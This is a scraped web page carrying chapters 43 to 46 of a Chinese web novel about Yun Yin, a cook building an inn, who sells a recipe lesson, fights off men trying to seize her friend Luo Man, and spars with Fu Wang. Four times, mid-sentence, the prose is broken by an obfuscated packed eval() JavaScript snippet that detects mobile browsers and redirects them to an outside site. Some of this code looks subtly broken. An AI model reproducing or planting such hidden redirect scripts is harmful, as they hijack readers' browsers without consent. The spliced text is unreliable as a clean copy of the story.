d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308458|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 也不知道这钱够不够，现在天气热，吃饭的人变少，她赚的也少，就连夏小娘子她们也不怎么找她买点心了。 倒是夏小娘子的厨娘这几日时不时过来找她，问她有什么事情，也不说，每次过来点一道菜，一坐就是一下午，不过今日她并没有来，不知她是不是以后都不来了。 云音正想着这些杂七杂八时，听到傅望咳嗽了一声，她一开始并没有注意，直到他又咳嗽一声，她打趣道：“你喉咙不舒服？我给你煮碗糖水？” 傅望：“不用，我只是想说，你若是想让人帮你做家具，其实可以找我，我最近也没啥事，可以给你帮忙。” 云音抬头瞥他一眼：“你还会木工？” “会一点，不过做个桌子凳子不成问题。”傅望坐直身体道，“当然做床也行，不过没有做桌椅来得娴熟。” “你还会什么？说出来让我惊讶惊讶。”云音也坐直身体看向他道。 傅望道：“也不会什么了，顶多能骑马会修车吧，走镖走多了，常常会发生意外情况，久而久之也会了。” 云音好奇道：“那你又为何会木工？看你的样子从前也不是学这个的啊，木工要专门学才会吧，难道你是那种看看就能学会的天才？” 虽然傅望没说他从前，但肯定也是受过良好教育的，他不仅读书识字，字写的还挺好的，只不过不清楚他发生了什么，竟然宁愿去参军，也不去考科举，如今还去走镖。 虽然她并没有觉得走镖哪里不好，但仍然会好奇他曾经的过往。 听到这话傅望突然有些怅然，他沉默好久，然后道：“我哪里是天才，不过是以前跟邻居学的，虽然那时候很小，但我还是记住了，我还记得他的手有多么灵活，做出来的木工多么精巧。” “那他现在在哪里？”云音想着若是这人也在龙安县，可以找他做。 傅望叹气道：“不知道，当年他与我阿耶一起被抓走，如今还不知他们的情况。” “抱歉，我不知道，提起你的伤心事了。”云音迟疑片刻道，“难道你走镖是为了寻找你家人的下落？” 傅望颔首：“有这方面的原因，当年没在军营打听到消息，加上我也受了点伤，就干脆离开军营，和同袍们组队，帮人送些货物。” “经常南来北往的，说不定能找到些消息，哪怕是不好的消息也好过如今了无音讯。” 云音安慰他道：“没有消息就是好消息，说不定你家人在你不知的地方，活的好好的。” 傅望：“希望如此吧，只要他们还活着，我也很满足了。” 云音没想到傅望是这样的身世，她不禁想到自己，她也早早失去亲人，哪怕是与她有隔阂的父亲，此时想起，也只记得他的好，那些不开心的事好像早已消散在时间的长河中。 她叹气道：“会好的，一切都会好起来的。” 傅望点头：“是啊，如今国泰民安，也不怎么打仗，相信一切都会好起来的。”他收敛脸上神情，询问她，“所以你到底要不要让我帮你做家具？” 43. 第43间客栈 云音抿了抿嘴道：“难道我还能说不吗？先说好，不能免费，若是你不收钱，那我找别人做家具。” 傅望“唉”了一声道：“你就不能给我个表现的机会吗？我们不是好友吗？谈钱多伤感情啊。” 云音摇头道：“亲兄弟还明算账呢，哪怕是好友也不能一味的索取，我想与你做长久的朋友，不想因为钱财问题闹矛盾。” 傅望：“好吧，好吧，我收你钱，你自己买木材，给我每日十文钱的工钱。”见云音还想反对，他道，“这个价格很公道，你问问钱四手下的人每日是不是这个数，他们还是做的体力活，我只不过做些轻巧的活计，这钱够了。” 云音实在拿他没办法，只能应下道：“行吧，那就这样说定了，等我找钱四问问，有没有木材商推荐。” 休息好了，云音回家拿了用冰保存的卤水，这卤水还是之前给夏燕做菜时用的，当时夏娘子说厨房剩下的东西她都可以带走，她当然不会全部拿走，她只拿了最想要的卤水。 天知道她有多久没有吃过卤味了，大昭的香料实在是太贵了，不是她能承担的，如今她还欠着债呢，也不可能买香料来卤肉，等以后她赚的钱多了，可以买点香料回来卤肉吃，这次先蹭夏燕的吧。 卤水一加热，整个厨房都弥散着刺激的香味，她打算多卤点东西，给罗蔓送一些，也给夏娘子送一些，她这么大方，是该多送点东西给她。 傅望坐在树荫下乘着凉，闻到这股香味，他起身走到云音身边道：“云娘子这是做什么？” “做点下酒菜，当小吃也行。”云音把一早焯水的猪肘子和五花肉还有猪尾巴放进去，又往里扔了花椒和生姜，然后对傅望道，“你等会可以尝尝，虽然香料不太足，但味道已经很不错，我想吃很久了，真的特别好吃，你也一定会喜欢。” 傅望闻言挑眉道：“那我要期待一下，看看是有多么好吃，才让你一直惦念不忘。” 随着这股卤料的香味随风飘荡，路上的行人也频频往这边张望，还是有人忍不住，被这味道吸引，跑来云音的摊前嗅了嗅道：“娘子煮的什么，怎么这么香，卖吗？” 云音不好意思笑笑：“实在抱歉，这些是送人的，不卖哈，而且我这才刚刚煮上，要煮一下午呢，不然可以分一点给你们尝尝。” 那男子本来听到云音说不卖还有些失落，后来又听到她说可以让他尝尝，他立马找个地方坐下后道：“反正我下午没事，晚点去龙安县也成，既然娘子愿意让我尝个鲜，那我就等着，这要是不让我尝一下，我之后几天都睡不好。” 他并不知道他尝过之后更加惦记，更是一连好几天都睡不好，他朋友还纳闷他怎么了，后来知道缘由还嘲笑他一番道：“你就不会多给些钱，让小娘子给你做一份吗？” 男子叹道：“哎，我听那娘子说，调料太过贵重，做了卖很不划算，只能做来自己吃和送人，我也一时没想到啊，早知道我多给些钱买一份，反正她都要自己吃了。” 此时的男子并不知道日后是何等心情，他也坐到树荫下等着，转头看见傅望，他咧嘴笑道：“郎君也是来等着吃一口的？” 傅望瞥了他一眼，平淡道：“当然不是。” “我叫汪钰，郎君怎么称呼？” “傅望。” 汪钰笑嘻嘻道：“看来郎君是个话少的人哈，不过我话多，正好互补了。” “不知道云娘子还会做什么好吃的，我以前怎么没注意到这里开了个饭摊，听说以后还会开客舍是吧，那我以后来龙安县便可以来这里住，又能吃到好吃的，地方也宽敞。” 汪钰噼里啪啦说了一大堆，傅望只偶尔嗯一声，即便是这样，也没有阻止他的谈性，嘴说干了喝口水继续，傅望瞥他一眼，他跟没看见似的，继续介绍他们学里的情况，傅望都知道他与谁的关系更好，与谁不合了。 傅望揉了揉额头，长叹一口气道：“汪郎君，你朋友受得了你吗？” 汪钰停下嘴里的话道：“啊，他们习惯了吧，我每次说着，他们都干着自己的活，傅郎君也可以做自己的活，不用管我，我就是想说说话而已。” 这还是而已吗？傅望十分不解，他摇摇头也不管汪钰，左耳朵进右耳朵出，从云音的柴火堆里挑了一根椴木，用他随身带的雕刻刀，伴随着汪钰的嘀嘀咕咕声雕刻起来。 等云音的肉和鸡鸭都卤好时，傅望的兔子也雕刻完成，他雕刻了两大一小三只兔子，正好是一家子。 云音端着切好的卤肉过来时，正好看到这三只兔子，称赞道：“你雕刻的兔子真好看，真逼真，看来你的木工活确实如你说的那样好。” 傅望笑笑道：“我又怎会说谎蒙骗你，说能做，就一定可以做。” “这兔子送给你，放家里摆着玩。” 云音接过兔子，摸了摸，兔子身上已经被他摩擦的很是光滑，一点也不扎手，每只兔子的神情都不一样，有张大嘴巴的，也有眯着眼睛的，她爱不释手，把兔子装到荷包道： “你还会做什么？除了兔子？还能雕刻什么？可以雕刻一匹马吗？” 傅望：“自然可以，你还想要什么，我都能给你雕。” 一旁的汪钰忍不住道：“云娘子，别聊了，再聊肉都要冷了。” 傅望听到此话，终于忍不住道：“这里话最多的就是你，还嫌弃别人聊的多。” 汪钰当没听见这话，眼巴巴望着那盘肉道：“云娘子，可以吃了吗？” 云音决定一会儿再与傅望聊，她把浸泡好的肉放到桌上道：“浸泡的时间还短，可能味道没那么足，你们先尝尝吧。” 汪钰先用筷子夹了一块肉，咸香浓郁，又带着花椒的麻和香料的辛香，肉里面也沾着汤汁，咬一口汤汁溅出，料汁的咸香充斥整个口腔，他忍不住嘶了嘶，被这股麻刺激到，可又实在不愿意松口，一口气把这块肉吃个干净。 他又吃了猪脚，平日他都不吃这东西的，但看着云娘子做的猪脚煞是馋人，一口咬下，入口即化，那皮和肉仿佛融化在嘴里，让人依依不舍，不想那么快吃掉。 汪钰边吃边问：“云娘子，真的不能卖吗？这味道也太香了吧，拿来配米饭真的绝了，你要是做了卖，肯定生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319497|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比现在还好。这香味真的太霸道了，我敢说只要从这里经过，没有人不被这香味吸引的。” 云音白了他一眼道：“放了那么多香料自然好吃，而且我不卖这卤菜，我的生意也很好。” “而且你以为香料很便宜吗？”云音哼了一声道，“若不是我要做了送人，我也不会卤这么多。” 不仅香料贵，肉也很贵啊，看张林以前多久才能吃一次肉，若不是云音有手艺，又遇到一些有钱人捧场，她还不知道多久才能赚够钱建房子呢，钱是这么好赚的吗？ 汪钰长叹一口气道：“那我岂不是日后吃不到了。” 云音还没说话，傅望开口道：“今日能让你吃就不错了，你别得陇望蜀。” 汪钰道：“好吧，我不说了，我吃还不行吗？” 云音摇头道：“你们慢慢吃，我去收拾一下，一会儿我还要去县城。” 傅望抬头道：“我送你去吧，你带着东西不方便。” 汪钰道：“还是我送你们去吧，我赶了马车，正停在路边，云娘子要送东西用马车还是不方便吧。正好我今日白吃你的菜，送你们一程也是理所应当。” 云音想想后道：“也好，那就麻烦你了。” 就在她转身时，后面传来一道冷冽的声音：“云娘子，可否借一步说话？” 云音回头望去，她疑惑道：“万娘子你今日也来吃饭？现在还没到晚食时间。” 方乐巧摇头道：“我来找娘子有事，现在方便吗？” 云音擦了擦手，解下围裙道：“方便，我们去旁边说。” 傅望抬头看了方乐巧一眼，没发现有什么异样，低头打算继续吃，一伸筷子发现盘子的肉都没了，只剩最后一个鸡翅了，他皱眉道：“你这速度够快的。”说完夹起那个鸡翅吃起来。 汪钰笑道：“吃饭就是要快狠准，不然你肯定吃不到什么了，傅郎君还是经验太少了，要与我多学学。” 另一边万乐巧站在那里，时不时用手扯一下衣摆，半晌还是没把事情说出口，云音见她实在纠结，直接道：“万娘子有事直说，能答应的我自然会答应，若是无法做到，你说了我也不会做的。” 万乐巧好似终于下定决心，她深呼吸后道：“云娘子，不知你能否把红烧乳鸽的做法教我。” “我知道这很冒昧，厨艺事关一个人的传承，自然不能随随便便告诉别人，但我确实很想知道这道菜的做法，我可以给你两贯钱，当作束脩如何。” “当然给钱也很冒昧，但是我真的很想学这道菜的做法，能不能求云娘子教一教我，实在是很抱歉。” 万乐巧弯腰行礼，云音连忙制止道：“万娘子不用如此客气，快快请起。” 万乐巧期盼看着云音：“云娘子这是答应了？” 云音有些好奇，原来这些天她经常来吃饭，就是为了学这道菜吗？她道：“你怎么突然想学这道菜了？” 之前她给夏燕做菜时，万乐巧并没把她放在心上，而且她也没觉得自己是她的阻碍，毕竟云音已经拒绝夏燕的招揽，按说万乐巧不会如此上心才对。 44. 第44间客栈 万乐巧听到云音的问话，道：“自从荷花宴吃了你做的那道红烧乳鸽，娘子一直念念不忘，这些天吃饭都不怎么香了，云娘子不方便常常去县城，我想来想去还是想找云娘子学一下这道菜，以后我也能做给娘子吃。” “这样她也不会一直食欲不振。”万乐巧自责道，“是我手艺不到家，做的菜无法让娘子满意。” 红烧乳鸽这道菜，云音也是从网上学的，当然香料她有根据实际情况添加，其实免费交给万乐巧也不是不行，毕竟她的饭馆目前是不会卖这道菜的，而夏小娘子家也不开饭馆，没什么影响。 只是如今她正缺钱，云音想了想道：“你想学我可以教你，不过材料需要你这边准备，我这里可拿不出那么多种香料。” 云音把所需香料告诉她，然后对她道：“你明日过来一趟，我叫你如何制卤料，还有脆皮水我也教你，剩下的你看一遍就知道怎么做，唯独这两样是制作红烧乳鸽最重要的部分。” 万乐巧记下，郑重道谢：“多谢云娘子，我明日会带上束脩礼登门拜访。” 约定好，万乐巧刚要离开，云音叫住她道：“正好，既然你一会儿要回县城，那帮我带一份吃食给夏小娘子吧，这是用之前制作红烧乳鸽的汤汁熬制的，你带回去让小娘子尝尝，看看她是否吃得下。” 万乐巧再次谢过，带着食盒离开。 送走万乐巧，云音拿着准备好的食盒，坐上汪钰的车，对他道：“汪郎君，我一会儿不去县里了，你在前面入平溪镇的路口把我放下吧，我去一趟平溪镇。” 汪钰应声道：“没问题。”说完让车夫赶着马车往县城方向奔去。 傅望骑着马跟在一旁，听到马车里二人相谈甚欢，他眼神有些失落，不知为何，他竟有种冲动把汪钰扔下马车，好在他的理智告诉自己，不应该这样做，他紧紧握紧缰绳，克制着内心烦躁的情绪。 云音和汪钰聊着北江县的情况，汪钰笑着对云音道：“云娘子大气，我今日有幸能吃到你做的美食，日后我也会带其他学子来光顾你的饭馆的，也算报答今日你请我吃的菜。” 云音道：“汪郎君客气了，也是你今日运气好……” 就在二人闲谈时，马车突然停下，车外传来傅望冷静的声音：“云娘子小心，前面情况不对劲。” 云音掀开车帘看向前面，一辆熟悉的马车被人团团围住，马车旁的护卫正与与对面几人对峙，她快步跳下车对傅望道：“你们两人小心，我过去看看。” 汪钰只来得及惊叫一声，云音已经跳下马车朝对面飞奔而去。 “阿蔓姐，你没事吧。”云音靠在马车前询问。 罗蔓听到她的声音，有些紧张道：“妹子，你赶紧离开，他们是来找我的。” 对面那个魁梧壮汉看到又有人过来，不耐烦道：“罗娘子，你到底跟不跟我们走，罗杰哥说了请你过去一趟，你再不走别怪我们动手。” 罗蔓并未下车，隔着车帘道：“我与罗杰没什么好说的，让他不必白费心机。” 那壮汉见她一直坐在马车里，吐一口气道：“罗娘子，得罪了，今日你要跟我们去见罗哥。” 云音看着事态越发不好，罗蔓也催促她赶紧离开，动了动手，从腰间抽出鞭子道：“没事的，阿蔓姐，你顾好你自己。” 傅望见云音与对面几人打斗起来，也拿出横刀与云音并肩作战。 “咻”地一声，云音的鞭子如同游龙一般灵活，眨眼间便抽中一个人，那人在她的鞭子力道下，“咚”地一声被挥倒在地，她侧身躲过旁边横劈过来的一根棍子，与傅望颇有默契的互换位置，对面人的两人瞬间被打倒在地。 云音的鞭子使得出神入化，对面的几人完全突破不了他们的防线，不一会儿全部拿下。 云音看着地上东倒西歪的人皱眉，“这些人究竟是什么人？怎么会来找你麻烦？他们说的罗哥是谁啊。” 罗蔓扫了眼地上的人道：“我能与谁结仇，我做生意一向讲究以和为贵，能不起冲突便不起冲突，除了我族里的人，没人与我有仇。” “他们说的罗哥应当是罗杰，是我族兄，一直觊觎我手里的产业，没想到今天竟然还敢当街劫人。” 罗蔓踢了一脚躺在那里一动不动人道：“罗田，我该怎么说你，你有一身本事，也不找个正经事做，竟然还跟罗杰狼狈为奸。” 罗田捂着脸躺在地上不起来，不论罗蔓怎么说，他都没有理会。 罗蔓摇摇头，也不再说他，转头对云音道：“多谢妹子帮忙，不然我今日要吃些苦头。” 云音想到罗蔓的遭遇，蹙眉道：“那阿蔓姐打算如何处理？这事不好办吧。” 罗蔓冷哼一声道：“他们以为我还是几年前那个小女孩呢，想用这种方法逼我就范，怕是还在做梦呢，我也不是吓大的，这些年一人支撑饭馆，也经历不少，这次也是带的人太少，才让他们钻了空子，以后不会发生这种事情了。” 云音指着地上其他几个正哭嚎的人道：“那这些人你打算怎么办？” 罗蔓：“还没想好，先关起来吧，这些人毕竟是我的族人，如何处置还要看看族老的说法，不过这次他们别想息事宁人，若是被人知道他们逼迫孤女，竟然做出当街劫人的事情，只要还想要名声，就必须给我一个交代，否则族里的那些人，也别想读书考官了。” 云音见这几个手脚有力，很适合干体力活，她沉思片刻后道：“阿蔓姐，既然你暂时不知道如何处置他们，不如先交给我吧，我那里正好在建房子，让他们去干苦力如何？” 罗蔓略一思索道：“也可以，交给妹子我也放心，等我这边解决好，再来处理这些人的事情。” 云音见罗蔓并未因这事忧愁，反而一脸激动，想要立刻去找人吵架一般，她放下心来递给她一个荷包道：“阿蔓姐，这是欠你的钱，我先还你七两，剩下的之后再还你。” 罗蔓接过荷包道：“妹子不用着急还钱，我这边不急着用钱，你可以慢慢还，可千万别觉得亏欠我。” “还有之前的钵仔糕和凉皮，我前两天看了看，也有一贯钱了。” “那一贯钱不用给我，直接在欠款里扣掉就好。”云音眉眼弯弯，“也是最近运气好，接了个大单，挣了一笔钱，正好还给你。” 罗蔓“哦”了一声道：“我也听说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325276|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是夏小娘子的宴会吧，听说她常常夸赞你，说是等你饭馆建好，她一定要去你那里吃饭。” 云音没想到罗蔓也听说了，她不好意思笑道：“也是夏小娘子赏识，我才有这个机会。” 罗蔓不赞同道：“那也是妹子有本事，我早说过，你的饭馆要是开在县城，早就跟满香居一样门庭若市。” 云音笑笑不说话，她从车里拿下一个食盒道：“本来是想给你送些吃食，没想到竟遇上这些事。” 罗蔓道：“真是多亏你，没想到妹子武艺这般厉害，真是没看出来。” 汪钰一脸受了惊吓的模样，走过来拍拍胸脯道：“真是太危险了，光天化日之下，竟然拦路打劫，两位娘子可千万别放过他们。” 罗蔓询问的眼神看向云音，“这位是？” 云音正要接话，汪钰上前行礼道：“小娘子有礼，在下汪钰，是隔壁江北县的学子……” 两人正互相介绍，一直安静站在一旁的傅望突然开口道：“云娘子的武艺可真厉害，不知是师从何门？” 云音沉默半晌道：“跟我父亲学的。” 傅望眼前一亮道：“原来云娘子家学渊源，不知可否引荐一二，我观云娘子招式轻灵迅捷，一招一式颇有章法，想必令尊武艺道行不浅，想要探讨一番。” 云音神情黯淡，“我父亲已经不在世，恐怕无法满足傅郎君的要求了。” 傅望听到这话，因为见到感兴趣的武术，发热的大脑突然冷静下来，他歉意道：“抱歉，我不知道，是我唐突了。” 云音谈笑道：“没事，已经过去许久了，我已经没那么伤感了。” 这边二人陷入沉默，另一边的两人却聊得非常愉悦，他们还约定下次去罗蔓的饭馆吃饭，云音走上前道：“时间不早了，阿蔓姐，我送你一程，以免之后再遇到危险。” 她对汪钰道：“汪郎君，你还不回县城吗？再耽搁城门都要关了。” 汪钰拍了拍额头道：“哎呀，我确实要赶紧走了，那我先走了，之后再见哈。”说完一溜烟上了马车，催促车夫赶紧离开。 云音耸了耸肩道：“没想到阿蔓姐与汪郎君这么聊得来。” 罗蔓微微一笑道：“他还挺有意思的，我约了他日后去我饭馆吃饭。”说完汪钰，她看向云音道，“正好，可以去我那里吃晚食，我让厨子做炖羊肉。” 云音摆手道：“不用了，阿蔓姐，我一会把你送回去还要回去摆摊，张林和郑桂兰肯定不行，还是得我做菜。” 罗蔓：“妹子该雇个厨子，这样你也能轻省许多。” “我也想啊，可是厨子也不是那么好找的。” “我帮你寻摸寻摸，若是有合适的告诉你。” “那就多谢阿蔓姐了。” 两人说着话往马车方向走，傅望默默跟在云音身后，直到云音要上马车时，他出声道：“云娘子，这些人交给我吧，我先带他们回饭馆。” 云音回头见傅望还在，她晃了晃头道：“哎呀，忘记这事了，那就麻烦傅郎君了，我一会儿就回。” 傅望见她并没有生气，松了口气，笑道：“嗯，我在饭馆等你。” 45. 第45间客栈 云音把罗蔓安全送回家，又坐着赵钱赶的马车回了饭馆，此时傅望已经把那群人驯服，他们正在做泥砖，傅望在一旁盯梢。 钱四看到云音回来，立刻跑过来道：“云小娘子，你弄这些人回来是做什么？这些人我不好管理啊，而且他们的吃喝问题要如何解决？” 云音安抚他道：“不用担心，我会解决的，这些人需要劳动整改，多干点活就清醒了，你不用管他们，他们不会给你添乱的。” 若不是有把握，她又怎会带这些人回来，她对不放心的钱四道：“你去忙你的吧，这里交给我。” 一旁的傅望趁机道：“云娘子，你这边也忙，不如把这些人交给我，对不听话的人，我有的是办法。” 云音：“这会不会太麻烦你了，毕竟是我揽下来的事情。” 傅望：“怎么会，我很愿意代劳。”他欲言又止，好半晌方出口道，“只是不知能否与云娘子切磋一二，我实在想近距离接触一下你的武术。” 云音没想到傅望对她的武术如此感兴趣，她略一思索便答应下来，“过两天吧，这两天有事要忙。” 傅望闻言压抑住心中的雀跃道：“嗯，你先忙你的事情，我不着急。” 第二天还没等来万乐巧，反而来了一个许久不见的人。云音看着神情疲惫的宋时问：“宋郎君这是怎么了？怎么一段时间不见，你憔悴许多。” 宋时跑过来，一脸焦急道：“云娘子，听说你昨日救了罗娘子，到底是什么情况。” 他的声音急切，拉住云音一阵叽里呱啦，也不给她说话的机会，云音正要把他手扯下去，傅望先动手了，他瞪了宋时一眼道：“宋郎君，好好说话，昨日我也在呢。” 宋时看看云音又看看傅望，调整心情尽量语速缓和道：“云娘子，我听说罗娘子昨日出事，能不能跟我说一说具体情况。我找罗娘子她不让我插手，我只能来找你了。” 云音挑眉道：“你怎么每次都来找我。”她见宋时一脸哀求，还是说了些能说的，“我也只知道是罗娘子族里人做的，其他也不清楚。” “既然罗娘子说了她自己处理，你还是让她解决吧，毕竟不好插手她的家事。” 宋时咬牙切齿道：“我就知道她族里的人还不死心，之前已经警告过，没想到竟然变本加厉，我看他们是活得不耐烦了。” 云音：“你别乱来，别再多生事端，我看罗娘子的意思是，用这件事跟他们谈条件，只要他们还要名声，就一定会答应。日后也不会再找罗娘子的麻烦，她也能安生，若是你做了多余的事情，反而弄巧成拙，就不好了。” 宋时恨恨道：“难道就这样算了，那也太便宜他们了，他们可是想谋财害命。” 云音无奈道：“那你想怎么办？让他们进牢里？那进去的也只是傀儡。我觉得罗娘子的处理挺好的，她握着对方的把柄，只要他们族里以后还有人想要出人头地，这事就会好好解决。” “忍一时气，能得到更多，这笔买卖并不亏，虽然有些憋闷，但正如罗娘子所说，她人单势孤，能拿捏他们已经是极好了。” 宋时憋闷道：“从今日起，我要认真读书，等我考上进士，一定给罗娘子依靠，不让任何人欺负她。” 云音道：“你能这样想很好，要不要在这里吃个饭再走？” 宋时摇头：“不用了，既然已经没有我什么事情，我还是回学里读书吧，今日偷溜出来的，要早点回去。” 云音挥手道：“那我不留你，慢走。” 送走宋时，云音长叹一口气，傅望凝望她道：“原来你是这样想的。” 云音看向傅望，耸耸肩道：“那不然呢，闹大了对罗娘子也不好，别人不会觉得她多占理，只会说她不知感恩，族里给她庇护，她却不知回报，这样的事情太多了。” 傅望一字一句道：“我不会让别人欺负到你头上的。” 云音指了指腰间的鞭子道：“谁敢欺负我，我就让他尝尝我的鞭法。” 傅望抿嘴笑道：“你这样挺好的。” “是啊，我也觉得很好。”云音也是来到大昭，才知道当初学武是多么重要的事情，至少可以保护自己，哪怕在这个陌生的朝代，她也不用担心有人欺负自己，或许父亲当年想要振兴武馆的做法没错，只是时代不同了。 有个强大稳定的国家，大家生活的幸福安康，不用担心自身安危，自然对于学武没有迫切性，只有特别有兴趣才可能尝试一二，后续也不一定会继续。 但是在大昭，她发现女子会武真的能避免许多事情，以后可以把这身武术传给其他女子，她转头看向正在跟着娘亲学切菜的方荷，也不知她愿不愿意学。 做完午食，云音把一些剩下的食材炖了，拿给那群过来帮忙的人，因为有傅望盯着，加上云音也不克扣他们伙食，那群人倒是安心留下帮忙干活，有他们加入，云音的客栈建的越发快了。 云音拿着一个杂粮馒头，盯着领头的壮汉道：“你们是罗家的家仆？” 那壮汉摇头道：“我们不过是村里的闲汗，罗家给我一人一百文，帮忙请罗小娘子帮个忙罢了。” “一人一百文就能让你们帮忙谋财害命？” 那壮汉摇头叫屈道：“娘子，你这话就过分了，我们可没打算要罗娘子的性命，只是请她去做客罢了。” “这话你问问你自己信不信，难道罗娘子跟你们走了还有好下场。”云音不屑道，“如今你们被抓了，有什么打算？” “我们能有什么打算。”壮汉垂头丧气道，“不知道罗娘子会不会报官，早知道便不听罗杰的，他说只是跟罗娘子谈些事情，因为罗娘子不见他，他才出此下策。哪知我们与罗娘子说了几句，她一直不答应，这才打了起来。” “没想到他竟然惦记罗娘子的家产，我们被他骗得好惨。” 云音诧异道：“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329837|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们身手不错啊，竟然能跟罗娘子家养的护卫不分上下。” 壮汉默默头憨笑道：“我曾经与一游侠儿学过一招半式，也没跟别人打过架，只在村里与人打过，跟着我的这些人都是输给我的，我也只教了他们一些我会的，没想到学的这点皮毛还挺厉害的。” 这世上总有些有天赋的人，随便学学就能做好，这壮汉就是其中之一，或许还不能到顶尖水平，但与一般人比也很厉害了，这样有天赋的人若是误入歧途，那会给别人带来多少麻烦，罗蔓不就是其中之一吗？ 想到这里，云音道：“若是罗娘子那边不打算送你们见官，你们要不要留在我这里，帮我守护饭馆，闲时也做些农活，你们应该都会种地吧。” 其他正吃饭的汉子抬头看向云音，其中一人道：“真的吗，云娘子，你要雇佣我们？” 云音：“先看看罗娘子打算如何处理你们，之后你们若是无处可去，可以来我这里做工。” 领头的壮汉馒头也不吃了，一下跪倒在云音前方道：“多谢云娘子，若是真的能在云娘子这里干活，我们一年的工钱都赔给罗娘子。” 云音见他上道，满意道：“你起来吧，我只知道你的名字，还不知道他们的名字。” “我叫罗田。”罗田坐起身指着身后的四人道，“这些人与我是同一个村里的，他们分别叫罗大、罗二、罗三、罗四。” 云音颔首表示知道了，她想想后道：“你愿不愿意跟我去一趟平溪镇，帮罗娘子做个证明，让罗家人知道事情起因。” 罗田道：“这当然没问题，我还没找罗杰算账呢，他竟然敢骗我。” 安排完这群人的事情，云音也不打扰他们吃饭，起身往饭馆走，傅望跟在她身后道：“你为什么要把他留下？他手里还有四个人，你不担心日后他们生事？” “今日他能被罗杰骗，或许日后也会被其他人骗，这样的人留在身边并不安全。” 傅望是个谨慎的人，他无论如何也不会把这种潜在危险放在身边，云音却与他不同，她胆子更大一些，之前敢一个人去探查盗匪就可见一斑，她笑道：“正是如此，才更应该把他留在身边，你不觉得他很本事吗？这样的头脑简单，又身怀武艺的人，不留在身边实在不放心。” 傅望不赞同道：“这样岂不是把危险也留在自己身边，我还是觉得不妥，若是你实在担忧他们祸害乡里，不如我推荐他们去军营，也是一个好去处。” 云音：“要不要留下看他们的意思，若是他们想要去军营，你再推荐他们吧，至于我的安危，你不用太过担心，你别忘了，我可是会武的，你要不试试看我的武术学的如何，能不能护好自己？” 傅望饶有兴趣道：“好啊，正好让我看看，你武术如何。”他指了个方向道，“我们去那里比试比试。” 云音看着那处空旷地，扬眉道：“那就让你瞧一瞧，我学了十几年的成果如何。” 46. 第46间客栈 金色的阳光透过树叶落下，知了伴着沙沙作响的树叶吱吱叫着，云音与傅望对立站着，她看着一动不动的傅望，扬眉道：“你先出手吧。” 傅望把腰间的横刀放到一旁，对云音道：“我们点到即止。” 云音见她放下横刀，也不打算使用鞭子，她笑道：“行啊，那我们比划一下拳脚功夫。” 傅望向前一步，拳头朝云音面门而来，云音见状侧身躲过，伸手朝他的命脉探去。 傅望挑眉看着这一招，下腰躲过，迅速起身逼近云音，却见她狡黠一笑反而上前，他措不及防中与之擦肩而过，等他反应时，云音早已经来到他的身后，伸手压住傅望的肩膀，靠在他耳边道：“傅郎君，你输了。” 傅望耳朵微红，停下还想反抗的动作，从云音手里脱离，揉揉有些发麻的手道：“是，你赢了，云娘子的武术很灵动，许多招式看着很简单，却很厉害，一下便把我擒住。” 云音笑笑道：“还好啦，毕竟学了那么久。”她从小学的武术，不管是传统武术，还是现代武术，她都有涉猎，逐步融合成自己的招式，她的天赋也很高，也怪不得她父亲把希望全放在她身上。 两人聊着武术相关的话题，时不时动手比划一二，另一边张林和郑桂兰听到动静，张林抬头往远处看，发现根本看不到什么，他皱眉道：“这是发生什么事情了？” 郑桂兰沉思片刻后道：“听说是傅郎君要和娘子比武。” 张林只听到一句比武，以为他们两个人打起来，赶紧跑过去查看情况，郑桂兰见状也跟上，两人一起跑过来，正好看到他们两个比划的动作。 “娘子，你没事吧。”张林瞪了一眼傅望，走到云音身旁道，“他是不是欺负你了。” 云音抽回手，擦了擦额头的汗水，摇头道：“我们在比试，你们怎么过来了。” 与黑豆一起玩的方荷此时也跑了过来，看着云音飘逸灵活的身姿，眼中露出羡慕道：“云娘子可真厉害啊，又会做菜还会武术，若是我也能这么厉害就好了。” 郑桂兰听到女儿的惊叹，摸了摸她头发道：“会的，我们阿荷也会这样厉害的。” 方荷用那双圆圆的眼睛期盼看着郑桂兰道：“阿娘，你说我拜云娘子为师如何？” 